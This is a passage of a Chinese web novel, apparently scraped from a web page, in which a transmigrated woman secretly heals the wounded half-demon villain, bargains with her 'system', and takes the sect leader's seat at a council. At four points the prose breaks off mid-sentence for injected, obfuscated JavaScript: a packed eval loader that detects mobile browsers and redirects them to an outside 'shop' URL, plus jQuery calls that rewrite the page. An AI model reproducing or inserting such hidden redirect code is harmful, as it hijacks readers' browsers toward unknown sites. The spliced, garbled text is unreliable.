她深吸一口气,将那件已经被腐蚀得不成样子的披风扔到一边。 这一次她有了准备。灵力从丹田涌出,在掌心凝成一层薄薄的光膜,像手套一样覆在皮肤上。她屏住呼吸,尽量不去触碰那些还在往外渗血的地方,小心地掀开他那件破袍子。 然后,她倒吸了一口凉气。 新伤叠着旧伤,刀伤、剑伤、鞭伤、烫伤,密密麻麻地布满整个躯体,几乎没有一块完好的皮肤。 有些已经结了痂,黑褐色的痂壳下面露出粉色的新肉,扭曲地长在一起。有些已经化脓了,黄白色的脓液混着血水,散发出一股难闻的气味。 他很瘦,长久的营养不良让他的肋骨一根一根地凸出来,像是随时会刺破那层薄薄的皮肉。 陆霜序的手抖了一下。 她处理那些伤口的动作很轻,很慢。 她不敢用力,怕弄疼他,虽然她知道殷焕生不会在乎。如果他醒了,恐怕还会更喜欢她下手重些。 可她即便知道殷焕生是怎样的人,知道日后这个人会将自己如何,她还是有她自己的原则。 她无法对这么可怜的人没有一丝恻隐之心。 灵力在伤口上流转,一点一点地清除腐肉,一点一点地修复破损的经脉。 可那些伤口像是活的,灵力刚渗进去,就被一股黑色的力量吞噬了。她看见灵力在伤口表面被腐蚀,冒着白烟,发出滋滋的声响,像水滴落在烧红的铁板上。 她咬着牙,继续做,一遍一遍。 不知道过了多久,伤口终于被处理完了。 她从乾坤戒里翻出原主储存的药和纱布,把他整个人包成一个粽子。 天边已经泛起了鱼肚白,她几乎一夜没睡。 可等她看了一眼光屏上的生命值。 0.8%。 陆霜序猛地睁大了眼睛,死死盯着眼前那块面板。 0.8%? “你是在跟我开玩笑吗?我费了这么大功夫,用了那么多灵力,他生命值还下降了0.2%?” 【系统:怎么办啊宿主!反派要死了呀!】 系统的声音带着哭腔。 陆霜序扶着额头,闭上眼睛,太阳穴突突地跳。 殷焕生这种人,死了也算为地球做贡献了。 可问题是,她的命已经和他绑到一起了。 他死,她也活不成。 她深吸一口气,睁开眼睛。 “那能怎么办?继续救。” 【系统:但是不能让反派发现是您在照顾他,不然就崩人设了。按照原主的性格,她巴不得殷焕生死,怎么可能会来救他……】 陆霜序真的想骂街。 白天虐待,往死里踹,晚上照顾,偷偷摸摸给他包扎续命。还不能让他发现。 这是什么精神分裂的人设? 陆霜序累得气喘吁吁,终于殷焕生的生命值到2%了。 可她偏生那生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我的任务好像和你一开始跟我说的不一样。我除了要保持人设走完剧情,让反派黑化值达到百分之一百,现在还需要再负责让反派的生命值不归零。而且这个世界和我看到的小说剧情并不完全一致,我还有随时丧命的危险。” 她一条一条地列出来,逻辑清晰,条理分明,像是在开项目复盘会。 系统有一种被放在审判席上公开审判的难堪感。 【系统:好像是这样的……】 陆霜序的声音不紧不慢,带着一种谈判桌上惯有的从容,“想让我继续,可以。但有条件。” 系统突然有了一丝希望。 【系统:什么条件?】 “模糊指令。” 【系统:?】 “就是指我只要能够达成大概的目标就可以。换言之,就是放松监察和审核的制度。你只考核大概结果,中间过程怎么操作,我说了算。” 系统大概能理解是什么意思。 就像她的宿主面对“保持人设,必须对男主表达喜欢,对女主表达讨厌”这个任务时,她没有按照传统的恶毒女配套路去演,而是直接上去对男主说“我喜欢你”,对女主说“我讨厌你”。 虽然不符合正常大众的判断标准,但也不能说她没完成任务。 系统想了想,眼看着她的宿主说一副“你不答应我立刻就死”的表情。 【可以的。但是宿主,您有什么办法可以保证反派不死?】 “这个你不用管,你只需要记得,我为这个任务付出巨多,你必须要为我争取巨多的权益。” 【系统:……好的。】 5. 小师妹月魄 殷焕生的意识从黑暗深处浮上来。 第一瞬涌入知觉的是身体的麻木。那种麻木他很熟悉,是伤得太重、流了太多血之后才会有的感觉,每一寸皮肉都沉甸甸地往下坠。 可还有些别的他并不熟悉的感觉。 有什么东西贴着他的手臂,温热,柔软。 那感觉和他十七年来所有的记忆都格格不入。 他睁开眼睛。 阳光从破败的窗棂里漏进来,细细的几缕,落在床边那人的身上。 那是一个姑娘。 看着不过十五六岁的年纪,穿一袭鹅黄色的纱裙,那颜色像是初春刚开的迎春花,在这间灰扑扑的柴房里显得格外鲜亮。 乌黑的头发挽成一个简单的髻,用一根素色的带子系着。她侧着脸,枕着自己的手臂,趴在床边,睡得很香。 阳光落在她脸上,照得她的肌肤近乎透明,能看见底下细细的血管纹路。 殷焕生盯着那张脸看了很久。 他的目光很平静,不像是看一个活生生的人,倒像是看一件突然出现在自己床边的物件。 他的手指动了动。 身下的木板缝隙里藏着一根细丝。 天蚕丝,柔软,却坚硬无比。 他的手指碰到那根丝,指尖轻轻一勾,丝线滑入掌心。 他慢慢抬起手。 只要把丝线绕上人的脖颈一收。 头就会和身体分开,鲜血会喷涌而出,溅在他的身上。 他这样想着,丝线已经抬到了她的颈侧,离那层薄薄的皮肤只有一寸。 就在这时候,陆霜序睁开了眼睛。 那双眼睛睡意未散,带着一点迷糊,眨了眨,对上他的视线。她直接无视了殷焕生手里的东西和他的动作,笑着说。 “早呀,师兄。” 声音甜糯糯的,像是裹了蜜。 殷焕生的手顿住了。 丝线还悬在她颈侧,在阳光下泛着冷冷的银光。可她像是没看见,只是那么笑着看他,眼睛弯成两弯月牙。 【系统:宿主啊,反派好像要用那根线把你勒死!】 陆霜序在脑海里听见这个声音,笑容纹丝不变。 “说点你知道的。” 她当然看见了那根丝线。 可她不怕。 原主本身的修为就不差,再加上这半年来夺取的殷焕生修为,实力早已超凡脱俗。 而殷焕生现在连动一下都费劲,真打起来,她一只手就能把他按在床上。 所以她不躲,也不怕,只是笑盈盈地看着他,看他要怎么办。 那根丝线悬在她颈侧,悬了很久。 然后,它落了下去。 殷焕生把手收回去,那根丝线滑入掌心,转眼就不见了。他靠回那张破木板上,脸上浮起一个淡淡的笑。 他问:“师兄?” 陆霜序点点头,笑得眉眼弯弯,“对呀。师尊昨日收的我,但她不管我。我晚上没地方住,就只能来找你了。你要谢谢我哦,要不是我,你就死了。” 殷焕生低头看了看自己被纱布缠得严严实实的身体。 那纱布缠得很整齐,是搞他难受的源头。 他抬起头,又看向她,笑得人畜无害。 “那还真是谢谢小师妹啊。” 他说着,慢慢伸出手来,做出握手的姿势。 那手苍白得近乎透明,骨节分明,指尖还带着一点干涸的血迹。他的动作很慢,慢到像是在给她充足的时间躲避。 她的目光忽然顿住了。 殷焕生的眼睛变了。 瞳孔收缩,变成竖起来的一条细线。 那是只有妖才会有的兽瞳。 同时他的手腕上也浮现出妖纹。 花纹从衣袖底下蔓延出来,沿着手腕往上爬,一道一道,暗红色的,像是用血画上去的图腾。 妖瞳和妖纹,用以人妖区分最简单的两样东西,他全摆了出来。 按照人族对妖族的厌恶,此刻陆霜序应该尖叫,逃跑,应该翻脸不认人。 她确实想翻脸不认人。 不是因为厌恶。 是因为他的手上有血。 她看得清清楚楚,刚才他伸出手来的时候,指尖明明很干净。 可也是刚刚,殷焕生故意按压自己的伤口,让鲜血透过纱布沾染了他的手上。 而这鲜血会腐蚀她。 但是她一想有不对,如果他的血真的能腐蚀修仙者和仙物,经常被打出血的他应该就被发现,然后被当成孽障烧死了。 此时,殷焕生那双兽瞳一动不动地盯着她。 陆霜序思考了半秒,毫不犹豫握住了那只满是血的手。 疼。 痛感从掌心涌上来,像是握住了一块烧红的烙铁。 她立刻甩开手。 像是带着报复的意味,力气大的将木板翻倒。 殷焕生同时摔落在地。 【系统:!!!宿主,你不是要救男主吗?这是要杀他吧!】 陆霜序无所谓道,“生命值2%呢,死不了。” 她突然明白了,殷焕生大概是能控制这这腐蚀的力量,所以他有把握随时杀了原主,也能不让其他人发现他血的秘密,避免被人当成孽障铲除。 只是昨晚上,他失去了意识,所以没控制住。 不过,这也说明了,方才殷焕生是故意的!!! 她开口,声音软软的,带着一点委屈,“师兄好疼呀,为什么一碰到你的血就会这么痛?” 殷焕生慢慢爬起身,坐在了木板上,低头看着她。 那张小脸皱成一团,五官都快挤到一起了,眼眶红红的,那样子可怜巴巴的,像一只被踩了尾巴的小猫。 他看了一会儿,忽然笑了。 他声音轻轻的,带着一丝无辜,“不知道呀,从小便这样。师妹不说,我还以为你喜欢。” 陆霜序一愣。 喜欢? “我怎么会喜欢?这么疼?” 殷焕生没有立刻回答,只是靠在木板上,用那双眼睛看着她。 “你要是不喜欢,能在这待一夜?” 陆霜序沉默了。 她就知道。 这个人的警惕性高得离谱。 从一开始他就在怀疑她。那根悬在她颈侧的丝线,故意露出来的兽瞳和妖纹,沾满血的手,全都是在试探她。 现在又在试探。 可她还没想出什么圆场的话,殷焕生又问。 “你叫什么?从哪里来?” 他一边说着,那双眼睛一边盯着陆霜序。 陆霜序立刻拿出早就想好的托词。 “月魄,父母家道中落,没钱供养我,只能把我送来修仙了。” 殷焕生听了,点了点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477843|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后他说:“这么没用的父母,我替你杀了吧。” 他说得自然,又轻描淡写,脸上甚至还带着淡淡的笑意,仿佛真的在为她着想。 陆霜序的笑容僵在脸上。 她想起原著里那些血腥的段落,想起那些被他灭门的人,想起读者们在评论区瑟瑟发抖地喊“殷哥,你们杀了他们,可就不能杀我了”。 她知道,他是认真的。 陆霜序深吸一口气,决定忽略这个话题。 她挤出一个笑,“师兄。咱们一见面,别老是吓人。快告诉我,你叫什么名字?” 殷焕生看着她那不自然的表情,笑了笑。 “殷焕生。”他说。 “好听的名字,谢谢你告诉我。” 那笑容灿烂得很,眼睛弯成两弯月牙,露出一排整齐的小白牙。 殷焕生看着那个笑容,忽然觉得有些碍眼。 太亮了。 亮得让人想把它撕碎。 他更喜欢临死之人的脸,那些脸才有趣。 他收回目光,忽然问:“饿吗?请你吃东西。” 陆霜序愣了一下。 嗯? 还没等她反应过来。 “嘶嘶嘶!” 地上有什么东西在动。 陆霜序顺着他的目光看过去,头皮一麻。 是蛇。 好几条蛇,还有虫,原本还在舔舐殷焕生血水的那些玩意,爬的爬,蠕的蠕,正朝她而来。 陆霜序僵在原地。 作为一名合格的现代人,她最怕的就是两种东西,没有脚的,和脚很多的。 而这两样东西,现在全在她脚边。 她不敢动了。 而殷焕生像是什么都没发生,只是那么坐着,低头看着那些蛇虫。一只红色的蛇爬到了他的手边,昂起头,吐了吐信子。 下一秒,蛇断成了两半。 他捏着那半截蛇身,蛇血从断口处涌出来,滴在他手上,和原本的血混在一起。他没管这东西脏不脏,有没有毒,只是把蛇肉送进嘴里,连同骨头一起嚼了嚼。 咔嚓咔嚓的声音在寂静的柴房里格外清晰。 他把蛇肉咽下去,伸出舌头,舔了舔嘴唇。 然后他抬起头,看向陆霜序,目光里有一种饶有兴味的意味。 陆霜序的大脑一片空白。 她知道这个人变态,可是真实体会到时另一种感受。 然后她尖叫出声。 “啊——” 那尖叫又尖又细,她顾不上什么形象不形象,她纵身一跳,跳上了那张岌岌可危的木板床。 木板床剧烈地晃了晃,发出不堪重负的嘎吱声。 她躲在殷焕生肩膀后面,双手紧紧抱着那人的手臂,整个人缩成小小的一团,瑟瑟发抖。 “有蛇有蛇有蛇……” 她念叨着,声音抖得不成样子。 殷焕生僵住了。 鼻尖忽然涌入一阵香气,身后是一个柔软温热的东西。 被人亲近的感觉,让他十分厌恶。 他伸手,想把这不知天高地厚的家伙给扔出去,可这人看着瘦弱,却力气大得很。 一个劲抓着他,不肯离开。 而且还哭唧唧地冲着他的耳朵说着“害怕呀,救命”的词。 热气包裹着他的耳朵,让他心情烦躁,很想动手杀点什么。 6. 帮你保守秘密 殷焕生满脸不耐,细长的眉眼里全是冷漠。 那些爬虫和蛇像是感知到了主人的情绪,动作骤然快了起来。 蛇信吞吐的频率加快,虫群的窸窣声变得更加密集,它们在地上铺成一片涌动的黑潮,朝着陆霜序的方向推进。 有几条赤红色的小蛇已经游到了她的木板边缘,昂起三角形的小脑袋,竖瞳冷冷地盯住她。 陆霜序低头看了一眼,不自觉吞咽了口口水。 她做了一个计划中没有的动作。 她扑上去,一把抱住了殷焕生。 “救命!师兄!救救我啊!” 她整个人贴在他身上,双臂紧紧箍住他的腰,贴着他的后背,闭着眼睛一通乱喊。 殷焕生的身体猛地僵住了。 像是被人从头到脚浇了一桶冰水,每一块肌肉都绷到了极致。他的呼吸停了半拍,垂在身侧的手指微微蜷缩。 他最讨厌的就是别人碰他。 在奴隶市场的时候,买家会像挑牲口一样捏他的下巴,掰他的嘴,拍他的背,那些手指往往带着汗臭和恶意,在他身上留下一个又一个淤青。 但无论过程如何,在得知他是半妖时,所有人都会吐口口水,或者给他一脚。 即便是离开了奴隶市场,来到了自诩高贵的万剑宗,他的待遇也没什么改变,那些嘴里说着成仙,修道的人们,和奴隶市场的人没什么区别,依旧会朝他吐口水,打骂他。 如果非说区别的话,那就是打他的武器从普通的,变成了不损不坏的仙器。 被人触碰这件事,在他的记忆里,永远和疼痛,屈辱,恶心联系在一起。 “松开。”他的声音冷得彻骨,像是从冰川深处刮出来的风,每一个字都带着冰碴子,能把人活活冻住。 可陆霜序根本不听。 “救救我呀,师兄。”她抱得更紧了,整个人都贴在他身上,像一只受了惊的八爪鱼,恨不能把自己缠在他身上不下来。 殷焕生能感受到陌生的温度透过衣料传过来。 那温度不高,暖暖的,柔柔的。他还能感觉到她的心跳,隔着两层衣裳、有力地跳动着,一下一下。 他从来都没有和人这么靠近过,那种感觉很陌生。 陌生到他甚至有一瞬间的恍惚,身体不由自主地放松了一丝。紧咬的牙关松了松,绷直的脊背微微软了一点,像是冰面下有什么东西在悄悄地融化。 但下一刻,他的眼神又冷了下来。 冷得比刚才更甚。 像是那片刻的放松让他意识到了什么不该有的软弱,他必须要用加倍的残忍来弥补。 她碰了他,让他感到了那种令人作呕的温暖。 光是这一点,他就一定要把眼前这个人杀了,剁成碎末,碾成灰,让她从这个世界上消失得干干净净,连痕迹都不剩。 陆霜序当然不知道他在想什么。 她抱住殷焕生是有目的的。 她清楚殷焕生最讨厌别人碰他,所以她偏要碰,偏要抱,偏要整个人贴上去,逼得他不胜其烦,不得不把那些蛇呀,虫呀的弄走。 这是她能想到的最快的自救办法。 可惜,没有作用。 那些蛇不但没有退,反而更近了。有一条已经顺着她的裙摆往上爬,冰凉的身体在她的膝盖处盘了一圈,昂着头,竖瞳在黑暗中幽幽发光。 好像适得其反,殷焕生被她激怒了。 【系统:宿主,那蛇是剧毒。要是你真被咬到了,可是要回梅香那里救治的。我提醒你一下,你刚得罪了她。】 陆霜序忍住翻白眼的冲动。 她当然记得。 梅香那个医师,被她当着那么多人的面一通输出,心里指不定怎么记恨她呢。要是她被蛇咬了,她宁愿死过去,都不去求梅香。 但没关系,她还有planB。 “师兄,我帮你保守秘密,你快救救我。” 话音落下的瞬间,那些蛇虫像是接收到了什么命令,齐刷刷地停住了。 刚才还在疯狂涌动的黑潮骤然凝固,蛇群昂起的脑袋定在半空,虫群的窸窣声戛然而止。满地的爬虫像是被人按下了暂停键,呆立在原地,一动不动。 殷焕生缓缓转过头来。 他的脖子一寸一寸地转动,每转一分,眼神就冷一分。等他的脸完全转向她的时候,那双眼睛已经冷得像两把刚从冰水里捞出来的刀。 “帮我保守什么秘密?” 他低头看她。 女孩子那稚嫩的小脸正旁若无人地靠在他的肩膀上。 她微微歪着头,好奇地打量着他,一双杏眼亮晶晶的,在月光下泛着黑色的光。她的睫毛很长,微微卷翘着。他能看清她脸颊上细小的绒毛,在月光下泛着一层极淡的金色。 这是一个很漂亮的姑娘。 清秀,干净,眉眼间带着一股子不知死活的鲜活气。 可她和其他人没什么不同,杀了她,不过踩死一只蚂蚁。 陆霜序眨眨眼,声音清脆得像拨弄算盘珠子:“师兄,你能控制你的血弄疼修仙者,这件事要是让师祖他们知道了,你就死定了。” 她说得很认真,语气里没有威胁,没有要挟,没有一丝恶意,只是在单纯地讲述一件她知道的事情。 的确,修仙者一向自诩高人一等,如果发现有人的血可以腐蚀他们,他们绝对会群起而攻之。大概也不会查明真相什么的,就直接把他这个没什么身份地位的半妖弄死罢了。 殷焕生来了兴趣。 他的眼神变了。 不是刚才那种冻死人的冷,而是一种更危险的东西。像是一条蛇发现了有趣的猎物,不急着咬,先盘起来,慢慢看。 “你怎么知道我能控制?”他的声音里带了一丝若有若无的笑意,只是在嘴角停了一停,就消失了,“你又凭什么断定,你能活着把这个秘密告诉别人?” 陆霜序一脸无辜,那张小脸上写满了“我是个乖宝宝”的天真。 “因为我知道师兄是个好人啊,我抱住你的时候,你没有用你的血弄疼我。” 殷焕生冷笑了一声,带着一股子轻蔑和不屑。 “你想太多了,只是你不配。” 可陆霜序听完,非但没有生气,反而眼睛更亮了。 “哦,我明白了。师兄要控制这些血弄疼别人是需要耗费法力的是吗?你现在这样的身体,确实不适合耗费法力,还是好好休息的对。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477844|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说得轻描淡写,语气里还有几分发现更多秘密的小得意。 殷焕生看着她,眼神里多了一些不一样的东西。 眼前这个人,好像和别的蠢货不太一样。 那些蠢货要么怕他,要么厌恶他,要么用一种施舍的姿态俯视他。 可这个人不一样。 她好像真的觉得他和她没什么不同,在平等地和他去谈条件。 陆霜序眨眨眼,那双杏眼在月光下亮得像两颗星星:“师兄,你怎么不说话?是我猜对了吗?” 殷焕生扭过头去,没搭理人。 月光将他的轮廓勾勒得分明,下颌线锋利,鼻梁高挺,眉骨的阴影落在眼窝里,将那双眼睛衬得格外幽深。 他生得很好看,即便那么多的伤,那么冷漠的表情,也不能掩盖他吸引人的皮囊。 “你很吵。”他最终说了这三个字。 陆霜序毫不在意地笑了笑,露出一排整齐的白牙:“哦,那我猜对了。” 殷焕生:“……” 他忽然觉得,跟这个人说话是一种很蠢的行为。 他开始后悔没杀了这个人,反而让她有机会叽叽喳喳吵个不停。 陆霜序趁他沉默的间隙,把手伸进袖子里掏了掏,拿到了那个圆圆的东西。 她把那东西掏出来,摊在掌心里。 那是一颗珠子,通体莹润,泛着淡淡的银白色光芒。表面光滑得像一块温玉,月光照在上面,折射出柔和的光晕。 那正是白日里她当众从他手里抢走的月魄珠。 “师兄,这是师尊送我的拜师礼。师尊说这个玩意儿没什么用处,又和我的名字那么相像,就送给我了。听说这个珠子有疗愈的功能,你身上又有这么多的伤,我就借花献佛送给你。” 原著里之所以那么多人去抢月魄珠,是因为月魄珠十分宝贵。 作为顶级的疗伤圣品,月魄珠十分难寻,往往几万只夜行妖兽才能修的这么一颗,而夜行妖兽又是最难捕捉的,所以有价无市。 而殷焕生要月魄珠并非是为了疗伤。 他拥有人妖各一半的血脉,但她他长期生活在人族,虽然没人愿意教他东西,但他模仿能力强。 现在,他体内人族的修为已经胜过了妖族大半,平衡被打破,不止他异常痛苦,还有随时因为修为暴走死亡的危险。 所以他需要这颗凝聚无数妖力的月魄珠。 殷焕生看着那颗珠子,又看着陆霜序,一时不能理解。 月光从破洞漏进来,落在他的脸上,将他的表情照得明明暗暗。他的眼神很复杂,里面有审视,有探究,有一丝极淡的困惑,还有一种说不清道不明的东西。 可陆霜序没心情等他。 东边的天际已经大亮,这意味着,她没睡觉,加班了一个晚上。 她要下班!她要回去睡觉!!! 她迫不及待把珠子塞进殷焕生手里,像是在塞一个烫手山芋,生怕人会拒绝。 陆霜序笑得十分灿烂,“师兄呀,我今天早上还有事情呢。晚些时候再找你玩。你一定要好好用这个珠子养伤,不要浪费。” 说完,她转身就跑。 徒留殷焕生留在原地看着手里的珠子。 7. 平等恶心所有人 翌日,睡了一夜,陆霜序醒了。 她的眼睛酸痛得很,昨天里,虽然她确实一天一夜没合眼,很困。 可是只要一想到自己的身体里还藏着殷焕生的修为,随时随地都能要她的命,她就根本睡不着,清醒的可怕。 等回到原主歇息的寝殿后,她这才发现堆了满屋子的书竟然全是关于解毒和修养身体的医书。 那时她才明白,原来原主知道。 可是看了这么多的书,却没有什么作用? 而等她把所有的书都看了一遍,她才彻底知道并非是不知道该如何解毒,而是这药材大概都在梅香所在的药房。 但是梅香... 早知道就不得罪她了。 也没有用,原主已经得罪了个透了。 好吧,她至少出气了。 【系统:宿主,你终于醒了!我还以为你又猝死了。】 系统的声音带着浓浓的委屈。 陆霜序皱眉,“你不会说话就返场维修,别当残次品出来气人。” 【系统:对不起啊,宿主不要骂我嘛,人家很伤心的。】 随后面板又出现在了陆霜序的面前。 殷焕生生命值在光屏上一会儿1.5%,一会儿2.0%,虽然浮动,但是在稳定的浮动。 这样看起来好像问题不是很大。 但系统在絮絮叨叨说个不停,就怕殷焕生突然死了。 陆霜序被说烦了,打算先去药房搞药,一会去看看这反派在作什么。 正想着,腰间的令牌忽然亮了。 那令牌是原主的东西,巴掌大小,通体墨黑,边缘刻着万剑宗的云纹,正面是一个古体的“序”字。 此刻它正泛着幽幽的光。 陆霜序拿起来看了一眼,上面浮着一行小字,是苍穹峰的召集令。 她愣了一下,随即皱起了眉。 原主是万剑宗十二仙尊之一,按道理说,宗门里有什么事,自然是要拉她去商量的。 可问题是,原主那名声和脾气,早就把所有人都得罪光了。 十二仙尊里头,没有一个人愿意跟她多说一句话。 而她脾气也大,别人不喜欢她,她也就不喜欢别人了。 宗门议事她能推就推,实在推不掉就去了摆一张臭脸,久而久之,也没人再喊她。 所以这次突然来了一道召集令,陆霜序有些吃惊。 她把令牌翻来覆去看了两遍,确认自己没有眼花,然后仰面倒在枕头上,发出一声长长的哀嚎。 又加班! 穿书前加班,穿书后还加班。上辈子加到自己猝死,这辈子还要加。 原著里根本没有这一段。 她翻遍了记忆,确认自己看过的《逍遥》里,从来没有写过万剑宗在此时召集十二仙尊议事。 “系统!这什么意思?让我上二十四小时,休二十四小时吗?还有没有天理,还有没有劳动法!” 系统委屈巴巴出来。 【宿主,我查了系统,可能是因为蝴蝶效应,就你刚穿越那天晚上没有辱骂殷焕生,殷焕生黑化值却更高那次。还有就是《逍遥》只有一百万字,很多细节都有没有。但这个世界在自行运转,所以会自动补全书里没有写到的细节】 陆霜序深吸一口气,深呼吸两次,确保自己的心脏平稳,没有再次猝死的风险。 【宿主,你别担心,我会为你尽快解锁未知剧情,帮你....】 系统说到最后,声音越来越小,甚至最后不敢发出声。 最后陆霜序决定,那什么会议让她滚,反正殷焕生那里暂时没什么大事,她要再睡会。 结果那令牌阴魂不散。 这次是江拂雪的声音,“师妹,这次会议不要迟了,若是有什么需要,随时联系我。” 陆霜序不由得想起了那晚上她不开门,江拂雪硬闯进来的场景。 她真受不了。 江拂雪作为《逍遥》的第一主角,正道的化身,去拯救天下苍生不好吗?揪着她一个小小炮灰不放是为什么? 她阴阳怪气回了句,“师姐,你要是很闲,就少吃点盐。” 说完,她磨蹭了好一会儿,才不情不愿地从被窝里爬出来 去苍穹峰的路不短。 摘星峰在万剑宗的北面,苍穹峰在正中,中间隔了好几座山头。她懒得走路,拿出自己腰间的那把剑,按照原著中的描写,御剑飞行。 落在苍穹峰的山门前时,天色已经大亮了。 苍穹峰是万剑宗的主峰,气势自是与别处不同。 山道宽阔,两旁种满了苍松翠柏,树龄少说也有几百年。 其实陆霜序是想一路飞上峰顶的,但是由于万剑宗有被妖族偷袭的先例,所以几个重要的峰设了禁制,不允许御剑飞行。 陆霜序只能沿着石阶往上走,几千个台阶,她一边走,一边骂。 路上遇到了不少万剑宗的弟子,那些人看见她,反应出奇的一致,先是愣一下,然后别过脸去,装作没看见。有的甚至往旁边让了让,像是怕沾上什么脏东西。 她受了无数白眼。 没办法。 原主干过的事,桩桩件件都够人记一辈子的。 给沈寂川下药,被人发现了,还嫁祸给江拂雪。 据说当时的江拂雪为了师姐妹情谊,竟然真的认了,说是自己做的,替陆霜序背了这口锅。 只可惜沈寂川不认,他当场就翻了脸,把事情的来龙去脉说了个清清楚楚。 最后闹得人尽皆知,全宗上下都知道陆霜序干了什么好事。从那以后,再也没有人愿意跟她说一句话。 陆霜序走在山道上,感受着四面八方投来的目光,那些目光里带着嫌恶、鄙夷、不屑,让人很不舒服。 她序本来就很不爽,怨气重得能养一百个邪剑仙。 现下看着别人冲她翻白眼,她也翻,翻得还越来越有劲。 有的人没冲她翻白眼,她急不可耐地送一个。 别人别过脸去,她翻两个。 别人绕道走,她直接站在原地翻三个,翻到对方落荒而逃为止。 到了苍穹殿前,她的白眼已经翻得炉火纯青。 苍穹殿是万剑宗最宏伟的建筑。 殿基高出地面九丈,殿前的练武场宽阔得能容下千人,青石铺地,平整如镜。 陆霜序跨过门槛,走进大殿。 殿内比她想象的要大,穹顶高悬,足有十丈有余,上面绘着星图,用金线和银线绣出北斗七星和二十八宿。 殿壁两侧立着十二根石柱,柱身刻满了繁复的符纹,象征着万剑宗的十二仙尊。 殿中已经坐了十一个人。 那十一个人分列两侧,每人一张座椅,座椅是紫檀木的,雕花精美,上面铺着锦缎的坐垫。 有人端着茶盏慢悠悠地喝茶,有人低头翻阅手中的玉简,有人闭目养神,有人交头接耳。 他们穿着各色法袍,或华丽或素雅,但无一例外地散发着令人不敢直视的威压。 修仙者的最终目标都是成神,而成神需要跨过漫长的修炼,练气,筑基,金丹,元婴,大乘,化神。 大部分人都卡在了练气,而十二仙尊,每一个都是金丹期及以上的修为,放在外面,都是能开宗立派的人物。 江拂雪坐在左侧第三位,穿一袭淡青色的长裙,发髻上只簪了一支白玉簪,素净得像是刚从山间走出来的仙子。 她旁边坐着沈寂川,白衣如雪,腰间悬剑,面容清俊。 陆霜序扫了一圈,发现了一个问题。 大殿上有十二位仙尊,却只有十一个座位。 她站在大殿中央,两侧的仙尊们该喝茶的喝茶,该看玉简的看玉简,没有一个人抬头看她,也没有一个人招呼她坐下。 门口的弟子们垂手而立,眼观鼻鼻观心,像是根本没有看见她这个人。 几个端着茶壶的侍从在殿内穿梭,给十一位仙尊添茶倒水,经过她身边的时候,脚步都不带停的。 总之,所有人都把她当透明人了。 陆霜序深吸一口气。 她感觉到一股无名火烧起来。 本来上班就烦。 她大喊一声。 “不给我座位是吧?欺负人是吧?” 声音在空旷的大殿里回荡开来,嗡嗡的,震得殿顶的星图都晃了晃。 几个正在喝茶的仙尊被吓了一跳,看玉简的那个抬起头来,眉头拧成一个死结。交头接耳的那两个立刻闭了嘴,面面相觑。 陆霜序环顾四周,目光从每一个人的脸上扫过。 “那好,我自己找座位坐。” 她说完,抬脚就往大殿最上方走去。 众人又是一惊。 因为陆霜序在他们眼里是个喜欢使阴招的人喜欢背后捅刀子,但表面上永远端着架子,觉得自己高人一等,从来不肯在人前失态。 这样的人,就算受了天大的委屈,也只会咬着牙忍了,回去再慢慢想办法报复。 不可能这样大吵大闹,不可能这样不顾体面。 可她就这么做了,大摇大摆地走向了最上首的位置。 那位置不在两侧的座椅之列,而是设在正中央,比所有的座位都高出三级台阶。 座椅是用整块的白玉雕成的,椅背高耸,两侧扶手雕刻着两条盘龙,龙首昂起,口衔明珠,气势非凡。 那是宗主的位置。 陆霜序三步并作两步走上去,一屁股坐了下来。 她甚至还往后靠了靠,把两只手搭在扶手上,翘起了二郎腿。 殿内一片死寂。 所有人都看着她,却又不说话。 系统默默吐槽,【宿主,你真是演爽了。】 陆霜序在心里回了一句:“发疯后,精神状态好太多了。你是不知道,我以前在公司里就想这么干,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477845|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于翻身做主人了。” 【系统:……所以您现在是把在现实世界里没敢做的事,都拿到这个世界来做了?】 “反正我是恶毒女配,做这又不ooc。有本事就让他们开除我,给我n+1。” 【系统:.....宿主,你真是上班上疯了。】 底下的众人终于反应过来了,窃窃私语像潮水一样蔓延开来,有人皱眉,有人摇头,有人露出厌恶的表情,有人冷笑一声。 江拂雪站了起来。 淡青色的裙摆垂落在地,随着她的起身微微晃动,像一池被风吹皱的春水。 